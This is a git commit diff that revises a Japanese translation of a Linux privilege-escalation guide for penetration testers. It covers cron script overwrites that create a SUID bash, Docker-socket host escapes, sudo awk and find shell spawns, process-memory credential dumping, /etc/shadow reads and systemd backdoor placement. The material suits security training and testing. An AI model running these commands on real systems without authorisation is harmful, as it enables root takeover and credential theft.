Translated ['src/linux-hardening/privilege-escalation/README.md'] to ja

This commit is contained in:
Translator 2025-06-03 07:01:10 +00:00
parent c7bcfeee01
commit 02aab4d91b

View File

@ -6,7 +6,7 @@
### OS情報
OSの知識を得ることから始めましょう。
まず、実行中のOSについての知識を得ることから始めましょう。
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
もし**`PATH`**変数内の任意のフォルダーに書き込み権限がある場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります:
もしあなたが`PATH`変数内の任意のフォルダーに**書き込み権限を持っている場合**、いくつかのライブラリやバイナリをハイジャックできるかもしれません:
```bash
echo $PATH
```
@ -32,7 +32,7 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
良い脆弱なカーネルのリストといくつかの**コンパイル済みのエクスプロイト**はここにあります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\
良い脆弱なカーネルのリストといくつかの**コンパイル済みのエクスプロイト**はここにあります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)。\
他に**コンパイル済みのエクスプロイト**を見つけることができるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
そのウェブからすべての脆弱なカーネルバージョンを抽出するには、次のようにします:
@ -73,13 +73,13 @@ From @sickrov
```
sudo -u#-1 /bin/bash
```
### Dmesg署名検証に失敗しました
### Dmesg署名検証に失敗しました
**smasher2 box of HTB**の**例**を確認して、この脆弱性がどのように悪用されるかを確認してください。
```bash
dmesg 2>/dev/null | grep "signature"
```
### より多くのシステム列挙
### さらなるシステム列挙
```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
@ -138,7 +138,7 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
```
## Useful software
## 有用なソフトウェア
有用なバイナリを列挙する
```bash
@ -158,11 +158,11 @@ rpm -qa #Centos
```
SSHアクセスがある場合、**openVAS**を使用して、マシンにインストールされている古いおよび脆弱なソフトウェアをチェックすることもできます。
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知の脆弱性に対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_
## プロセス
**どのプロセス**が実行されているかを確認し、**権限が過剰なプロセス**がないかをチェックします例えば、rootによって実行されているtomcatなど
実行中の**プロセス**を確認し、どのプロセスが**必要以上の特権を持っているか**をチェックしてください例えば、rootによって実行されているtomcatなど
```bash
ps aux
ps -ef
@ -177,7 +177,7 @@ top -n 1
### プロセスメモリ
サーバーのいくつかのサービスは、**メモリ内にクリアテキストで資格情報を保存します**。\
サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\
通常、他のユーザーに属するプロセスのメモリを読むには**root特権**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。
@ -186,14 +186,14 @@ top -n 1
>
> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ は、ptraceのアクセス可能性を制御します
>
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これptracingが機能していた古典的な方法です。
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これptracingが機能していた古典的な方法です。
> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。
> - **kernel.yama.ptrace_scope = 2**: 管理者のみがptraceを使用できます。これはCAP_SYS_PTRACE権限が必要です。
> - **kernel.yama.ptrace_scope = 3**: ptraceでトレースできるプロセスはありません。一度設定されると、ptracingを再度有効にするには再起動が必要です。
#### GDB
FTPサービスのメモリにアクセスできる場合例えば、ヒープを取得し、その資格情報を内部で検索することができます。
FTPサービスのメモリにアクセスできる場合例えば、ヒープを取得し、その資格情報の中を検索することができます。
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も示します。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。
特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も表示されます。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。
```bash
procdump()
(
@ -230,7 +230,7 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
通常、`/dev/mem`**root****kmem** グループのみに読み取り可能です。
```
strings /dev/mem -n10 | grep -i PASS
@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process.
プロセスのメモリをダンプするには、次のものを使用できます:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、自分が所有するプロセスをダンプできます
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必要)
### プロセスメモリからの資格情報
@ -281,7 +281,7 @@ Press Ctrl-C to end monitoring without terminating the process.
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
プロセスをダンプすることができます(プロセスのメモリをダンプするさまざまな方法を見つけるには前のセクションを参照してください)し、メモリ内の資格情報を検索します:
プロセスをダンプすることができます(プロセスのメモリをダンプするさまざまな方法を見つけるには前のセクションを参照してください)し、メモリ内の資格情報を検索します:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
@ -292,8 +292,8 @@ strings *.dump | grep -i password
| 機能 | プロセス名 |
| ------------------------------------------------ | --------------------- |
| GDM パスワード (Kali デスクトップ, Debian デスクトップ) | gdm-password |
| Gnome キーチェーン (Ubuntu デスクトップ, ArchLinux デスクトップ) | gnome-keyring-daemon |
| GDM パスワード (Kali デスクトップDebian デスクトップ) | gdm-password |
| Gnome キーチェーン (Ubuntu デスクトップArchLinux デスクトップ) | gnome-keyring-daemon |
| LightDM (Ubuntu デスクトップ) | lightdm |
| VSFTPd (アクティブ FTP 接続) | vsftpd |
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Scheduled/Cron jobs
スケジュールされたジョブが脆弱であるか確認してください。もしかしたら、rootによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?rootが使用するファイルを変更できるシンボリックリンクを使用するrootが使用するディレクトリに特定のファイルを作成する?)。
スケジュールされたジョブが脆弱であるか確認してください。ルートによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?ルートが使用するファイルを変更できますか?シンボリックリンクを使用しますか?ルートが使用するディレクトリに特定のファイルを作成しますか?)。
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -323,9 +323,9 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
```
### Cron path
例えば、_ /etc/crontab _の中にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
例えば、_/etc/crontab_ の中に次のような PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_ユーザー「user」が/home/userに対して書き込み権限を持っていることに注意してください_)
(_ユーザー "user" が /home/user に対して書き込み権限を持っていることに注意してください_)
この crontab の中で、root ユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root overwrite.sh_\
その場合、次のようにして root シェルを取得できます:
@ -336,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron using a script with a wildcard (Wildcard Injection)
もしルートによって実行されるスクリプトがコマンド内に「**\***」を含んでいる場合、これを利用して予期しないこと(例えば、特権昇格)を引き起こすことができます。例:
もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、特権昇格)を引き起こすことができます。例:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**パスが** _**/some/path/\***_ **のようにワイルドカードの前にある場合、それは脆弱ではありません(** _**./\***_ **もそうです)。**
**もしワイルドカードが** _**/some/path/\***_ **のようなパスの前にある場合、それは脆弱ではありません(** _**./\***_ **もそうです)。**
次のページを読んで、さらにワイルドカードの悪用トリックを学んでください:
次のページを読んで、他のワイルドカードの悪用テクニックを学んでください:
{{#ref}}
wildcards-spare-tricks.md
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
### Cronスクリプトの上書きとシンボリックリンク
**rootによって実行されるcronスクリプトを変更できる場合、非常に簡単にシェルを取得できます:**
もし**rootによって実行されるcronスクリプトを変更できる**なら、非常に簡単にシェルを取得できます:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -368,7 +368,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これは開始されるすべてのプロセスを監視してリストします)。
**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これは開始るすべてのプロセスを監視してリストします)。
### 見えないcronジョブ
@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 書き込み可能な _.service_ ファイル
任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(マシンが再起動されるまで待つ必要があるかもしれません)。\
任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(おそらく、マシンが再起動されるまで待つ必要があります)。\
例えば、`.service` ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。
### 書き込み可能なサービスバイナリ
@ -399,13 +399,13 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
次に、書き込み可能なsystemd PATHフォルダー内に**相対パスバイナリ**と同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行される**ようにします(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。
次に、書き込み可能なsystemd PATHフォルダー内にある**相対パスバイナリ**と**同じ名前**の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行される**ようにします(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。
**`man systemd.service`でサービスについて詳しく学びましょう。**
## **タイマー**
**タイマー**は、`**.service**`ファイルやイベントを制御する`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用でき、非同期実行できます。
**タイマー**は、`**.service**`ファイルやイベントを制御する`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用でき、非同期実行できます。
すべてのタイマーを列挙するには、次のコマンドを使用します:
```bash
@ -413,17 +413,17 @@ systemctl list-timers --all
```
### Writable timers
タイマーを変更できる場合、systemd.unitのいくつかの実行を実行させることができます例えば、`.service``.target`)。
タイマーを変更できる場合、systemd.unitのいくつかの実行`.service``.target`などを実行させることができます
```bash
Unit=backdoor.service
```
ドキュメントでは、Unitについて次のように説明されています
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は ".timer" ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記参照。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値は接尾辞を除いたタイマー単位と同じ名前のサービスにデフォルト設定されます(上記参照。アクティブにされるユニット名とタイマー単位のユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
したがって、この権限を悪用するには、次のことが必要です:
- **書き込み可能なバイナリを実行している** systemdユニット例えば `.service`)を見つける
- **書き込み可能なバイナリを実行している**systemdユニット例えば、`.service`)を見つける
- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため)
**タイマーについて詳しくは `man systemd.timer` を参照してください。**
@ -446,19 +446,19 @@ UnixドメインソケットUDSは、クライアント-サーバーモデ
**`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことを推奨します。
- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。
- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。
- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービスサフィックスが置き換えられたものになります。ほとんどの場合、このオプションを使用する必要はありません。
### 書き込み可能な.socketファイル
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるでしょう。**\
_システムがそのソケットファイル構成を使用している必要があり、さもなければバックドアは実行されません_
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**するができ、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動するまで待つ必要があります。**\
_システムがそのソケットファイル構成を使用している必要があり、さもなければバックドアは実行されません_
### 書き込み可能なソケット
**書き込み可能なソケットを特定した場合**_ここではUnixソケットについて話しており、構成`.socket`ファイルについてではありません_、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。
**書き込み可能なソケット****特定した場合**_ここではUnixソケットについて話しており、構成`.socket`ファイルについてではありません_、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。
### Unixソケットの列挙
```bash
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTPソケット
HTTPリクエストをリッスンしている**ソケットが存在する可能性がある**ことに注意してください_私は.socketファイルではなく、unixソケットとして機能するファイルについて話しています_。これを確認するには、次のコマンドを使用できます:
HTTPリクエストをリッスンしている**ソケット**がいくつか存在する可能性があります_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_。これを確認するには、次のコマンドを使用できます:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### 書き込み可能なDockerソケット
Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段の概要は以下の通りです。
Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。
#### **Docker CLIを使用した特権昇格**
Dockerソケットへの書き込みアクセスがある場合、以下のコマンドを使用して特権を昇格させることができます:
Dockerソケットへの書き込みアクセスがある場合、のコマンドを使用して特権を昇格させることができます:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -504,7 +504,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
Docker CLIが利用できない場合でも、DockerソケットはDocker APIと`curl`コマンドを使用して操作できます。
1. **Dockerイメージのリスト:** 利用可能なイメージのリストを取得します。
1. **Dockerイメージの一覧:** 利用可能なイメージのリストを取得します。
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
@ -536,9 +536,9 @@ Upgrade: tcp
### その他
**`docker`グループの中にいるために、dockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/index.html#docker-group)。もし[**docker APIがポートでリスニングしている場合、あなたはそれを妥協することもできるかもしれません**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
もしあなたが**`docker`グループ内にいるためにdockerソケットに対する書き込み権限を持っている場合**、あなたには[**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/index.html#docker-group)。もし[**docker APIがポートでリスニングしている場合、あなたはそれを妥協することもできるかもしれません**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
**dockerから抜け出す方法やそれを悪用して特権を昇格させる方法については、以下を確認してください**
**dockerから抜け出す方法やそれを悪用して特権を昇格させる方法**については、以下を確認してください:
{{#ref}}
docker-security/
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) 特権昇格
**`ctr`**コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**
もし**`ctr`**コマンドを使用できることがわかった場合、**特権を昇格させるためにそれを悪用できるかもしれないので**、以下のページを読んでください
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** 特権昇格
**`runc`**コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**
もし**`runc`**コマンドを使用できることがわかった場合、**特権を昇格させるためにそれを悪用できるかもしれないので**、以下のページを読んでください
{{#ref}}
runc-privilege-escalation.md
@ -562,15 +562,15 @@ runc-privilege-escalation.md
## **D-Bus**
D-Busは、アプリケーションが効率的に相互作用し、データを共有できる高度な**プロセス間通信IPCシステム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
D-Busは、アプリケーションが効率的に相互作用し、データを共有できるようにする高度な**プロセス間通信IPCシステム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせるものです。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせす。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールの信号は、音楽プレーヤーをミュートさせ、ユーザー体験を向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を可能にする場合があります。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限を詳細に説明しています。
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。
指定されたユーザーまたはグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
指定されたユーザーグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -614,14 +614,14 @@ lsof -i
```
### Open ports
常に、アクセスする前に対話できなかったマシン上で実行されているネットワークサービスを確認してください
常に、アクセスする前に対話できなかったマシン上で実行されているネットワークサービスを確認してください:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
トラフィックをスニッフィングできるか確認してください。できる場合、いくつかの認証情報を取得できるかもしれません
トラフィックをスニッフィングできるか確認してください。できる場合、いくつかの認証情報を取得できる可能性があります
```
timeout 1 tcpdump
```
@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null
```
### Big UID
一部のLinuxバージョンは、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
**これを利用する**には: **`systemd-run -t /bin/bash`**
一部のLinuxバージョンは、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグがありました。詳細情報は[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)、[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)、および[here](https://twitter.com/paragonsec/status/1071152249529884674)を参照してください。\
**これを利用する**には、**`systemd-run -t /bin/bash`**を使用します。
### Groups
あなたがルート権を付与する可能性のある**グループのメンバーであるか**確認してください:
あなたがルート権を付与する可能性のある**グループのメンバー**であるかどうかを確認してください:
{{#ref}}
interesting-groups-linux-pe/
@ -666,7 +666,7 @@ interesting-groups-linux-pe/
### Clipboard
クリップボード内に興味深いものがあるか確認してください(可能であれば)。
クリップボード内に興味深いものがあるかどうかを確認してください(可能であれば)。
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@ -681,29 +681,29 @@ fi
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
### 知られているパスワード
### Known passwords
もし**環境のパスワードを知っている場合**は、**各ユーザーとしてログインを試みてください**。
環境の**パスワードを知っている場合**は、**各ユーザーとしてログインを試みてください**。
### Su Brute
多くのノイズを出すことを気にしない場合、`su``timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\
多くのノイズを出すことを気にしない場合、`su`および`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。
## 書き込み可能なPATHの悪用
## Writable PATH abuses
### $PATH
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー理想的にはrootによって実行されるコマンドの名前であり、**$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダからは読み込まれない**必要があります
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー理想的にはrootによって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダから**読み込まれない**ものでなければなりません
### SUDOSUID
### SUDO and SUID
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには:
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを可能にします。** 例えば:
いくつかの**予期しないコマンドにより、ファイルを読み書きしたり、コマンドを実行したりすることができます。** 例えば:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -757,37 +757,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### コマンドパスなしのSudoコマンド/SUIDバイナリ
**sudo権限**が単一のコマンドに**パスを指定せずに**与えられている場合: _hacker10 ALL= (root) less_、PATH変数を変更することで悪用できます。
**sudo権限**が単一のコマンドに**パスを指定せずに**与えられている場合: _hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に奇妙な SUID バイナリの内容を _**strings**_確認してください)。
この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **を使って奇妙な SUID バイナリの内容を確認してください)**
[Payload examples to execute.](payloads-to-execute.md)
[実行するペイロードの例。](payloads-to-execute.md)
### コマンドパスを持つ SUID バイナリ
もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート**してみることができます。
